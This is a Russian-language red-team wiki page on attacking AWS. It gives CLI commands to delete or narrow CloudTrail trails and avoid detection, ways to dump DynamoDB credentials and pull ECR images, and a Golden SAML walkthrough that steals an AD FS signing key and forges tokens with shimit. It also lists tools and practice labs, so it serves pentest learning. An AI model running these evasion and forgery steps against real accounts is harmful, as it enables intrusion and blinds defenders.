  •  ???


Важен при операциях RedTeam.


Название файла логов:

AccountID_CloudTrail_RegionName_YYYYMMDDTHHmmZ_UniqueString.FileNameFormat

S3 путь до логов:

BucketName/prefix/AWSLogs/AccountID/CloudTrail/RegionName/YYYY/MM/DD

Путь у CloudTrail-Digest файлов:

s3://s3-bucket-name/optional-prefix/AWSLogs/aws-account-id/CloudTrail-Digest/region/digest-end-year/digest-end-month/digest-end-data/aws-account-id_CloudTrail-Digest_region_trail-name_region_digest_end_timestamp.json.gz

Основные поля у событий:

  • eventName - имя API-endpoint
  • eventSource - вызванный сервис
  • eventTime - время события
  • SourceIPAddress - ip-адрес источника
  • userAgent - метод запроса
    • "signing.amazonaws.com" - запрос от AWS Management Console
    • "console.amazonaws.com" - запрос от root-пользователя аккаунта
    • "lambda.amazonaws.com" - запрос от AWS Lambda
  • requestParameters - параметры запроса
  • responseElements - элементы ответа.


Временные параметры:

  • 5 минут - сохраняется новый лог-файл
  • 15 минут - сохраняется в S3.


Важно! Сохраняется чексумма файлов, поэтому пользователи могут удостовериться что логи не менялись. Также логи могут уходить напрямую в CloudWatch - администраторам может прилететь уведомление об ИБ-инцидентах. Или события могут быть проанализированы внутренним модулем CloudTrail - Insights на предмет необычной активности.

Роли - управление

cloudtrail:DeleteTrail

Позволяет отключить мониторинг:

aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator

cloudtrail:UpdateTrail

Права на редактирование правил монитринга.


Отключить мониторинг глобальных сервисов:

aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event


Отключить мониторинг на конкретные регионы:

aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west

validate-logs

Проверить, были ли изменены логи.

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]


Эксплуатация

Обход правила по UserAgent

На сервисе есть правило, по которому определяет, что запросы были сделаны с kali/parrot/pentoo используя awscli.

Для этого можно воспользоваться утилитой pacu, которая автоматически подменяет useragent. Использование утилиты в конце статьи.

DynamoDB

Cистема управления базами данных класса NoSQL в формате «ключ — значение».

Роли - управление

dynamodb:ListTables

Позволяет посмотреть спрсок таблиц базы данных.

aws --endpoint-url http://s3.bucket.htb dynamodb list-tables        

{
    "TableNames": [
        "users"
    ]
}

dynamodb:Scan

Получение обьектов из базы данных:

aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'

{
  "password": {
    "S": "Management@#1@#"
  },
  "username": {
    "S": "Mgmt"
  }
}


ES (ElasticSearch)

ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.

Формат ссылки:

https://{user_provided}-{random_id}.{region}.es.amazonaws.com


ELB (Elastic Load Balancing)

Балансировщик нагрузки.


Формат ссылки (elb_v1):

http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443

Формат ссылки (elb_v2):

https://{user_provided}-{random_id}.{region}.elb.amazonaws.com

RDS (Relational Database Service)

Облачная реляционная база данных (на выбор).

Формат ссылки:

mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432

Route 53

Настраиваемая служба DNS.

Формат ссылки:

{user_provided}

API Gateway

API-сервис, который будет доступен почти со всех серверов.

Формат ссылки:

https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}

CloudSearch

Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.


Формат ссылки:

https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com

Transfer Family

Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).

Формат ссылки:

sftp://s-{random_id}.server.transfer.{region}.amazonaws.com
ftps://s-{random_id}.server.transfer.{region}.amazonaws.com
ftp://s-{random_id}.server.transfer.{region}.amazonaws.com


IoT (Internet Of Things)

Сервис для управления IoT-устройствами.

Формат ссылки:

mqtt://{random_id}.iot.{region}.amazonaws.com:8883
https://{random_id}.iot.{region}.amazonaws.com:8443
https://{random_id}.iot.{region}.amazonaws.com:443

MQ

Сервис брокера сообщений для Apache ActiveMQ & RabbitMQ.


Формат ссылки:

https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617

MSK (Managed Streaming for Apache Kafka)

Сервис потоковой передачи данных в Apache Kafka.


Формат ссылки:

b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com

Cloud9

Облачная интегрированная среда разработки(IDE) используя только браузер.

Формат ссылки:

https://{random_id}.vfs.cloud9.{region}.amazonaws.com


MediaStore

Cервис хранилища AWS, оптимизированный для мультимедийных материалов.


Формат ссылки:

https://{random_id}.data.mediastore.{region}.amazonaws.com


Kinesis Video Streams

Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.


Формат ссылки:

https://{random_id}.kinesisvideo.{region}.amazonaws.com


Elemental MediaConvert

Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.

Формат ссылки:

https://{random_id}.mediaconvert.{region}.amazonaws.com


Elemental MediaPackage

Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.


Формат ссылки:

https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel

ECR (Elastic Container Registry)

Региональный сервис, предназначенный для обеспечения гибкого развертывания образов.


Роли - управление

ecr:ListImages

Получить список образов:

aws ecr list-images --repository-name <ECR_name> --registry-id <UserID> --region <region> --profile <profile_name>

ecr:GetDownloadUrlForLayer

Позволяет получить URL на скачивание образа.

ecr:GetDownloadUrlForLayer + ecr:BatchGetImage + ecr:GetAuthorizationToken

Позволяет скачать образ (мб потребуется и ecr:ListImages чтобы получить список образов):

aws ecr get-login
docker pull <UserID>.dkr.ecr.us-east-1.amazonaws.com/<ECRName>:latest
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0

ECS (Elastic Container Service)

Сервис координирования контейнеров - развертывание, администрирование, масштабирование.



Статьи

RhinoSecurity ECR/ECS

RhinoSecurity ECS


Утилиты

https://github.com/RhinoSecurityLabs/ccat


Augmented AI (Amazon A2I)

Предоставляет интерфейс для обработки человеком предварительных результатов, полученных с помощью машинного обучения.

A2i.png

Данные сохраняются в S3, а также к задаче прикрепляется IAM-роль .

При создании задачи разделяется на 3 варианта:

  • Textract - извлечение пары ключ-значение из текста
  • Rekognition - определение того, что изображено на фото. Например, чтобы оградить от 18+ контента.
  • Custom - пользовательский вариант

Интересный факт - использует "Quill Rich Text Editor" для текста с инструкциями. То есть, если в нем будет уязвимость, то можно проверить амазон тоже.


https://aws.amazon.com/ru/augmented-ai/


Также у сервиса есть Workers - сервера, выполняющие кучу тасков. Они могут быть трех типов:

1. Amazon Mechanical Turk - тупо сервера Amazon, за которые надо платить.

2. Private - юзают если обрабатывают приватную инфу или задачи, не поддерживаемые первым пунктом (ну или регион не поддерживается). Это команды, которые имеют доступ к данным и которые могут запускать задачи. Команды менеджарятся с Amazon Cognito.

3. Vendor - решения сторонних разработчиков.


Роли

AmazonAugmentedAIIntegratedAPIAccess

Дает доступ к Augmented AI Runtime, Amazon Rekognition или Amazon Textract API.

TODO: проверить, дает ли это еще возможностей злоумышленнику

CodeGuru

Автоматизируйте проверку кода и оптимизируйте производительность приложений с помощью рекомендаций на базе машинного обучения

Aws codeguru.png

https://aws.amazon.com/ru/codeguru/

Разделяется на следующие части:

- Reviewer - выявляет критические проблемы, уязвимости системы безопасности и трудноуловимые ошибки + дает рекомендации (языки Java и Python) - статикой.

- Profiler - выявление самых дорогостоящих строк, повышение производительности и тд засчет запуска в среде выполнения. Важно особенно для тех, кто платит за время работы скриптов.

Также на странице есть упоминание про их игру - BugBust

https://us-east-1.console.aws.amazon.com/codeguru/bugbust/participant#/

Comprehend

https://aws.amazon.com/ru/comprehend/

Сервис по извлечению ценной информации из текста и работе с ним.

Aws comprehend.png

Список категорий, на которые может разбить текст, есть на фото выше.


Для пользовательских настроек есть несколько параметров:

- Кастомные классификации

- Кастомные определения вставок в тексте

- Endpoints - для real-time работы. !!! Достаточно дорогой сервис. В месяц берет 1400$ при минимальной сборке, поэтому если злоумышленник сможет запускать в нем Endpoint'ы в большом количестве, то компания обанкротится.

DevOps Guru

https://aws.amazon.com/ru/devops-guru/

Собирает метрики из различных сервисов и детектит различные аномалии. Проще говоря, делает статистику по метрикам и с машинным обучением находит ошибки.

Источники метрик:

  • CloudWatch
  • AWS Config
  • CloudTrail
  • X-Ray


Если рассуждать со стороны злоумышленника, то если у него есть доступ к DevOps Guru, то у него также есть AIM-роль "Amazon DevOps Guru_Role" и привилегии на доступ к следующим ресурсам:

  • Amazon CloudWatch
  • Amazon CloudWatch Events
  • Amazon CloudWatch Logs
  • AWS CodeDeploy
  • AWS CodePipeline
  • AWS CloudFormation
  • AWS CloudTrail
  • AWS Systems Manager
  • AWS X-Ray

Elastic Inference

https://aws.amazon.com/machine-learning/elastic-inference/


Forecast

Служба прогнозирования временных рядов используя машинное обучение (предсказывание последующих событий).

https://aws.amazon.com/ru/forecast/

При настройке можно выбрать один из forecasting-доменов:

  • Retail
  • Custom
  • Inventory planning
  • EC2 capacity
  • Work force
  • Web traffic
  • Metrics

Формально это шаблоны для быстрой настройки сервиса.

Если у атакующего есть привилегии данного сервиса, то можно предположить, что он тоже может получать те же данные (например, количество трафика), что и сам сервис

Fraud Detector

https://aws.amazon.com/ru/fraud-detector/

"Разработка и развертывание моделей выявления мошенничества используя машинное обучение"

HealthLake

https://aws.amazon.com/healthlake/

Kendra

https://aws.amazon.com/kendra/?did=ap_card&trk=ap_card

Lex

https://aws.amazon.com/lex/?did=ap_card&trk=ap_card

Lookout for Equipment

https://aws.amazon.com/ru/lookout-for-equipment/

Lookout for Metrics

https://aws.amazon.com/lookout-for-metrics/

Lookout for Vision

https://aws.amazon.com/lookout-for-vision/

Monitron

https://aws.amazon.com/monitron/

Personalize

https://aws.amazon.com/personalize/

Polly

https://aws.amazon.com/polly/

Rekognition

https://aws.amazon.com/rekognition/

SageMaker

https://aws.amazon.com/sagemaker/

SageMaker Ground Truth

https://aws.amazon.com/sagemaker/groundtruth/

Textract

https://aws.amazon.com/textract/

Transcribe

https://aws.amazon.com/transcribe/

Translate

https://aws.amazon.com/translate/

Apache MXNet

https://aws.amazon.com/ru/mxnet/

Deep Learning Containers

https://aws.amazon.com/machine-learning/containers/

DeepComposer

https://aws.amazon.com/deepcomposer/

DeepLens

https://aws.amazon.com/deeplens/

DeepRacer

https://aws.amazon.com/deepracer/

Inferentia

https://aws.amazon.com/machine-learning/inferentia/

Panorama

https://aws.amazon.com/panorama/

PyTorch

https://aws.amazon.com/pytorch/

TensorFlow

https://aws.amazon.com/tensorflow/

Deep Learning AMI

https://aws.amazon.com/machine-learning/amis/

Утилиты

Вычисление ролей

enumerate-iam

github.com:andresriancho/enumerate-iam.git


Эксплуатация

Golden SAML

Суть атаки в том, что зная ключ, которым подписываются SAML-запросы, вы можете подделать ответ и получить произвольные привилегии в SSO.


Подробнее про эксплуатацию тут: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps

shimit

https://github.com/cyberark/shimit

Установка:

cd /tmp
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml
git clone https://github.com/cyberark/shimit
cd shmit
python shmit.py


В начале потребуется доступ к AD FS аккаунту из персонального хранилища которого украсть приватный ключ ключ. Сделать это можно используя mimikatz, но в примере сделано через библиотеку Microsoft.Adfs.Powershell и powershell


Пример эксплуатации:

# Получаем приватный ключ
[System.Convert]::ToBase64String($cer.rawdata)
(Get-ADFSProperties).Identifier.AbsoluteUri
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

# Получаем инфу о юзерах - выбираем цель
aws iam list-users

# Получаем токен
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012

# Проверяем текущий аккаунт
aws opsworks describe-my-user-profile

Проверки безопасности

Для администраторов преимущественно.

Zeus

https://github.com/DenizParlak/Zeus


Другое

aws_consoler

https://github.com/NetSPI/aws_consoler

All-In-One

pacu

https://github.com/RhinoSecurityLabs/pacu

ScoutSuite

https://github.com/nccgroup/ScoutSuite

cloudfox

https://github.com/BishopFox/cloudfox

Ссылки

Статьи

Hijacking IAM Roles and Avoiding Detection

Bypass GuardDuty PenTest Alerts

Intercept SSM Agent Communications

Лаборатории

Damn Vulnerable Cloud Application

SadCloud

Flaws

Flaws

HackTheBox Stacked Writeup

CloudGoat

SadCloud

AWS Well-Architected Labs

Attack Detection Fundamentals 2021: AWS - Lab #1

Free AWS Security Labs

Краткие заметки

PayloadAllTheThings

hacktricks-s3

hacktricks-aws

learntocloud(много ссылок)

Книги

Hands-On AWS Penetration Testing with Kali Linux